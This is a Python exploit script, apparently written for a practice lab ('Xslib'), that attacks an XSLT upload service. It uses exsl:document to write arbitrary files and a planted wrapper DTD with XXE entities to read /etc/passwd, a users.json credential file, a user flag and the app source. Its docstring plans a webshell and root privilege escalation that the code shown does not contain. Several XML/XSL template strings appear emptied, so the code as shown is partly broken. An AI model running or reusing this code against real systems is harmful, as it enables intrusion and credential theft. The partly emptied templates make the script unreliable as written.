#!/usr/bin/env python3 """ Xslib 靶场完整自动化利用脚本 阶段1: Web → 任意文件写入 (exsl:document) 阶段2: DTD包装 → 任意文件读取 (XXE参数实体 + 通用实体) 阶段3: 凭据获取 (users.json) 阶段4: 覆盖 app.py 获取 WebShell 阶段5: doas ldconfig 配合 scanelf -o 提权至 root """ import sys import re import os import html import requests import textwrap BASE = os.environ.get("XSLIB_BASE", "http://192.168.1.112:5000").rstrip("/") USERNAME = "pentester" PASSWORD = "P@ssw0rd123!" # ============================================================ # Phase 1: Login # ============================================================ def login(session): """Ensure we're logged in.""" r = session.get(f"{BASE}/dashboard", allow_redirects=False) if r.status_code == 200 and "Dashboard" in r.text: return True # Try login r = session.post(f"{BASE}/login", data={ "username": USERNAME, "password": PASSWORD }, allow_redirects=False) if r.status_code == 302: # Follow redirect r = session.get(f"{BASE}/dashboard") return "Dashboard" in r.text or "Document Processor" in r.text # Need to register print("[*] Registering new account...") r = session.post(f"{BASE}/register", data={ "username": USERNAME, "email": f"{USERNAME}@test.com", "password": PASSWORD, "confirm_password": PASSWORD, "terms": "on" }, allow_redirects=False) # Login after register r = session.post(f"{BASE}/login", data={ "username": USERNAME, "password": PASSWORD }, allow_redirects=False) r = session.get(f"{BASE}/dashboard") return "Dashboard" in r.text or "Document Processor" in r.text # ============================================================ # Phase 2: File Write via exsl:document # ============================================================ def _xml_escape(text): """Escape special XML characters for use as text content (NOT CDATA).""" return text.replace("&", "&").replace("<", "<").replace(">", ">") \ .replace("'", "'").replace('"', """) def write_file(session, target_path, content): """ Write content to target_path using exsl:document. target_path MUST be a file:/// absolute URI. Key: use XML-escaped entities (< > ' ") instead of CDATA, so the XSLT text content survives XML parsing then produces literal < > ' " in the output file. """ escaped = _xml_escape(content) xsl = f""" {escaped} WRITE_OK """ simple_xml = 'x' r = session.post(f"{BASE}/upload", files={ ("xml_file", ("data.xml", simple_xml, "text/xml")), ("xsl_file", ("write.xsl", xsl, "text/xsl")), }) if "xsltDocumentElem: unable to save" in r.text: err = re.search(r'xsltDocumentElem: unable to save[^<]*', r.text) print(f" [WRITE FAIL] {err.group(0) if err else 'unknown'}") return False if "XSLT processing failed" in r.text or "Processing error" in r.text: err = re.search(r'(?:XSLT processing failed|Processing error)[^<]*', r.text) print(f" [WRITE ERROR] {err.group(0) if err else 'unknown'}") return False return True # ============================================================ # Phase 3: File Read via XXE + Wrapper DTD # ============================================================ def read_file(session, filepath): """ Read arbitrary file on target. 1. Write wrapper DTD to /tmp/xslib_wrap.dtd via exsl:document 2. Load DTD via XXE parameter entity (file:///tmp/xslib_wrap.dtd) 3. DTD wraps target file content into &xxe; general entity 4. &xxe; in document body returns file content through XSLT output The first wrapper works for files such as passwd and JSON. Source files such as app.py contain apostrophes and literal "<...>" route fragments, so a second wrapper uses a double-quoted entity plus CDATA delimiters. """ dtd_variants = [ ( "single-quoted entity", '\n' '">\n' '%define;\n'.format(filepath), ), ( "double-quoted CDATA entity", '\n' '\n' '">\n' '\'>\n' '%define;\n'.format(filepath), ), ] read_xml = """ %remote; ]> &xxe;""" passthrough_xsl = """
""" last_error = None for index, (variant_name, dtd_content) in enumerate(dtd_variants): # Step A: write the selected wrapper DTD. if not write_file(session, "/tmp/xslib_wrap.dtd", dtd_content): return None # Step B: load the DTD and expand &xxe;. r = session.post(f"{BASE}/upload", files={ ("xml_file", ("data.xml", read_xml, "text/xml")), ("xsl_file", ("style.xsl", passthrough_xsl, "text/xsl")), }) # Extract from the outer result-template
.  The transformed XML
        # is escaped once by XML serialization and again by Jinja, so decode
        # repeatedly until it stabilizes.
        pre_match = re.search(r']*>(.*?)
', r.text, re.DOTALL) if pre_match: content = pre_match.group(1) for _ in range(3): decoded = html.unescape(content) if decoded == content: break content = decoded msg_match = re.search(r'(.*?)', content, re.DOTALL) if msg_match: return html.unescape(msg_match.group(1)).strip() err_match = re.search( r'class="p-4 bg-red[^"]*">\s*]*>(.*?)

', r.text, re.DOTALL, ) if err_match: last_error = html.unescape(err_match.group(1)).strip() else: last_error = f"{variant_name}: result extraction failed" if index + 1 < len(dtd_variants): print(f" [*] {variant_name} failed, retrying with CDATA wrapper") if last_error: print(f" [READ ERROR] {last_error}") return None # ============================================================ # Main # ============================================================ def main(): session = requests.Session() print("=" * 60) print("[Phase 1] Login") print("=" * 60) if not login(session): print("[-] Login failed!") sys.exit(1) print(f"[+] Logged in as {USERNAME}") # Check health endpoint r = session.get(f"{BASE}/health") print(f"[+] /health: {r.text[:200]}") print() print("=" * 60) print("[Phase 2] Test file write (exsl:document)") print("=" * 60) # Quick write test (must use absolute file:/// path) if write_file(session, "/tmp/test_write.txt", "hello from exsl:document"): print("[+] File write works! (/tmp/test_write.txt)") else: print("[-] File write failed!") sys.exit(1) print() print("=" * 60) print("[Phase 3] File read (XXE + wrapper DTD)") print("=" * 60) files_to_read = [ "/etc/passwd", "/opt/web/users.json", "/home/momo/user.txt", "/opt/web/app.py", ] for f in files_to_read: print(f"\n[*] Reading: {f}") content = read_file(session, f) if content: print(f"===== {f} =====") print(content[:1000]) if len(content) > 1000: print(f"... ({len(content)} total bytes)") else: print(f"[-] Failed to read {f}") if __name__ == "__main__": main()